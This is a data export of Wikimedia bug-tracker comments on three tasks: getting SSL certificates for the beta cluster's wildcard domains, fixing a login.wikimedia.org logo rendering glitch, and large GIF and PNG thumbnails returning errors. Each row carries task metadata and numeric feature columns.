+I dont think we should use  Yuvi proxy for beta since the point of the project is to closely reproduce production. Currently the SSL connections are handled by nginx proxies, whenever varnish supports it, they will land on the varnish frontends.",,,1377725574,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+227135,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Understandable for manual testing. I just wanted to make sure the automated tests weren't actually blocked, since there's ways to relatively easily workaround the issue.
+
+As I've mentioned in the past, I'm totally fine with getting an SSL cert for beta, assuming we ensure every project member in deployment-prep has a signed NDA.
+
+In the future Yuvi's proxy will handle load balancing, HTTPS and such. We'll be able to drop the NDA requirement (and the SSL cert) once we have that.",,,1377724502,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+227127,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Ryan, it's possible to work around the problem, but the issue is that, for manual testing, it's too easy to blame the SSL problem for things that might be totally unrelated.  Let's deploy SSL either correctly or not-at-all to beta.",,,1377721482,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+227119,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"My original requests was to generate certificates for the beta wildcards domains using the 'Labs CA' certificate authority.  By adding that authority certificate in the browser (or accepting it), that should make the browser trust all the generated certs.",,,1377721422,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,True,,,0,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+227116,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,The automated tests were OK I think with maybe some small exceptions.  The hassle was having to visit all the hosts (e.g. bits) in your browser in order to use any beta wikis.,,,1377718091,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+227113,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Is it not possible to disable certificate checking on the automated browser tests until we get a proper certificate? I remember this being possible years ago when I built a selenium cluster...,,,1377717965,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+227109,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Mostly it makes using beta labs manually a real hassle.,,,1377716121,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0
+227104,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,For those playing along at home: The Beta Cluster currently does not have https by default turned on for this very reason (it broke browser tests).,,,1377713093,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+227098,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"We should probably disable default https on beta until we have the opportunity to fix this up properly.  The proper fix, from what I understand, is pretty complicated, and isn't something we can do with just a day or two of elbow grease.",,,1377712492,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,3,False,,,0,True,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+227094,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"There's no interface with firefox, either. The workaround is to manually go to https://bits.beta.wmflabs.org/ and accept the certificate there.",,,1377088410,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+227089,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,It seems to me that being able to test the new [[m:HTTPS]] stuff on beta is a rather high priority; otherwise beta should be fixed for its other uses by reverting the HTTPS redirect on it.,,,1377084434,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+227083,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Apparently the beta labs now forcefully redirect to https, which means all beta sides are unusable for me (Chrome) because there is no obvious way to accept the certificate for bits, so no resources are being loaded.",,,1377078117,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,False,,,-1,True,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0
+227075,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 46621 has been marked as a duplicate of this bug. ***,,,1377077926,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+227069,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 49533 has been marked as a duplicate of this bug. ***,,,1377077878,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+227063,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 53113 has been marked as a duplicate of this bug. ***,,,1377028391,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+227058,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Alex: turning ssl certificate verification off when doing automated testing is reasonably common because lots of folks don't run with valid certs and don't have a good infrastructure for distributing their self signed certs.  That isn't to say it is a good practice, just a common one.",,,1376416702,,PHID-USER-2rnfxoezl66afpa7w7in,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,False,,,-3,True,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+227052,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Upping priority (a tiny bit) as we really need the beta cluster (hosted on labs) to be as similar to production as possible for automated testing. This is needed for that (specifically for SUL2, kinnnnnda important ;) ).",,,1376408675,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,2,False,,,-3,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+227046,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"All browsers should force you to navigate that warning, unless you've somehow changed their configuration to somehow completely break that security feature.",,,1375118567,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-5,True,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+227038,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"in the configurations we're using, other browsers don't require an automated test to negotiate a warning screen, see the screen shot on Bug 52121",,,1375112625,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+227029,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,The other browsers don't like it either. Why is IE so special to you?,,,1375112429,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+227021,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,We need beta labs to work for IE in default configurations for test purposes. See Bug 52121,,,1375110403,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+227015,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 52121 has been marked as a duplicate of this bug. ***,,,1374916134,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+227010,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Did not block the creation of a login wiki bug 51622
+
+But it does prevents us from using SUL2 on beta which is bug 51580",,,1374694229,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+227004,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Moving out from RT to ""Labs"" > ""Infrastructure"", per Ryan :)",,,1369121097,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1
+226998,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,RT #5184,,,1369038519,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+226992,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Mailled labs-l to find out who can generate the cert. http://lists.wikimedia.org/pipermail/labs-l/2013-May/001212.html,,,1368605321,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+50236,Update login.wikimedia.org logo to avoid rsvg issues,"login.wikimedia.org is using https://upload.wikimedia.org/wikipedia/commons/thumb/8/81/Wikimedia-logo.svg/135px-Wikimedia-logo.svg.png for its logo currently, but this logo is weird. There's a green line connecting the two green pieces in the logo. Surely there's a 135px version on Commons somewhere we can use instead.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Medium,50.0,1367985240,1368391390.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-6cknf3sey5xeqlcnujli,task_description,resolved,True,c2,1,True,False,True,-16,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+211579,Update login.wikimedia.org logo to avoid rsvg issues,Related URL: https://gerrit.wikimedia.org/r/63468 (Gerrit Change I976a779791c6d2a0c6ce76a1e90987b8c2fed1a1),,,1368454547,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+211575,Update login.wikimedia.org logo to avoid rsvg issues,https://gerrit.wikimedia.org/r/63384 (Gerrit Change I43ffba30080589705e231c385911460049e0ecb5) | change APPROVED and MERGED [by jenkins-bot],,,1368390105,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+211571,Update login.wikimedia.org logo to avoid rsvg issues,"The other wikis that use this logo — fdcwiki, iegcomwiki, ombudsmenwiki and transitionteamwiki — are being dealt with in bug 48379.
+
+Since I need to create all those logos first, it'll take at least a couple of hours before I submit a patch for them.",,,1368383411,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,1,0
+211566,Update login.wikimedia.org logo to avoid rsvg issues,Related URL: https://gerrit.wikimedia.org/r/63384 (Gerrit Change I43ffba30080589705e231c385911460049e0ecb5),,,1368382994,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+211562,Update login.wikimedia.org logo to avoid rsvg issues,https://gerrit.wikimedia.org/r/62817 (Gerrit Change I0493d70f4e1fe16ef204e5e25a2cc56369e2905f) | change ABANDONED [by Odder],,,1368379773,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+211558,Update login.wikimedia.org logo to avoid rsvg issues,Related URL: https://gerrit.wikimedia.org/r/62817 (Gerrit Change I0493d70f4e1fe16ef204e5e25a2cc56369e2905f),,,1368025406,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+211555,Update login.wikimedia.org logo to avoid rsvg issues,"Shouldn't be too hard to create a 135x155px PNG version, upload it to Commons, protect against upload&move, and change it in InitialiseSettings.php...
+
+I'll try to do that in a couple of minutes.",,,1368022559,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+211548,Update login.wikimedia.org logo to avoid rsvg issues,Note this logo is used by at least 1 other wiki...,,,1368021188,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,True,,,-16,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0
+211541,Update login.wikimedia.org logo to avoid rsvg issues,Looks like rsvg's rounding issues are causing problems with the masking. The svg itself is fine at that size when accurately rendered.,,,1367985842,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-6cknf3sey5xeqlcnujli,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0
+50003,"Large thumbnails of ""lossless"" files return error","Possibly all files affected by the commit in bug 47363 return errors for large thumbnails. (Bug 47363 changed $wgMaxImageArea and $wgMaxAnimatedGifArea to 50 MP)
+
+Example files:
+https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/Mejeri1.gif/576px-Mejeri1.gif
+works for me,
+https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/Mejeri1.gif/577px-Mejeri1.gif
+and above does not anymore.
+
+https://upload.wikimedia.org/wikipedia/commons/thumb/0/0a/File-Ulysses_S._Grant_from_West_Point_to_Appomattox_partially_restored.png/276px-File-Ulysses_S._Grant_from_West_Point_to_Appomattox_partially_restored.png
+OK
+https://upload.wikimedia.org/wikipedia/commons/thumb/0/0a/File-Ulysses_S._Grant_from_West_Point_to_Appomattox_partially_restored.png/476px-File-Ulysses_S._Grant_from_West_Point_to_Appomattox_partially_restored.png
+Not OK
+
+(Could not find an appropriate tiff file by now)
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1367508540,1374777991.0,PHID-USER-yhujnd4weqzxkjnpve64,False,,False,PHID-TASK-t7uky7ylyhoato3n62xw,task_description,resolved,True,c2,1,False,False,True,-17,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+222466,"Large thumbnails of ""lossless"" files return error",Bug 52043,,,1374778125,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-t7uky7ylyhoato3n62xw,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+222457,"Large thumbnails of ""lossless"" files return error","(In reply to comment #0)
+
+> https://upload.wikimedia.org/wikipedia/commons/thumb/0/0a/File-Ulysses_S.
+> _Grant_from_West_Point_to_Appomattox_partially_restored.png/276px-File-
+> Ulysses_S._Grant_from_West_Point_to_Appomattox_partially_restored.png
+> OK
+> https://upload.wikimedia.org/wikipedia/commons/thumb/0/0a/File-Ulysses_S.
+> _Grant_from_West_Point_to_Appomattox_partially_restored.png/476px-File-
+> Ulysses_S._Grant_from_West_Point_to_Appomattox_partially_restored.png
+> Not OK
+> 
+> (Could not find an appropriate tiff file by now)
+
+Those two files (the pngs) look good to me now, after we've deployed VipsScaler on all wikis.
+
+The large gif one (https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/Mejeri1.gif/577px-Mejeri1.gif) still fails, though.
+
+Partially fixed!
+
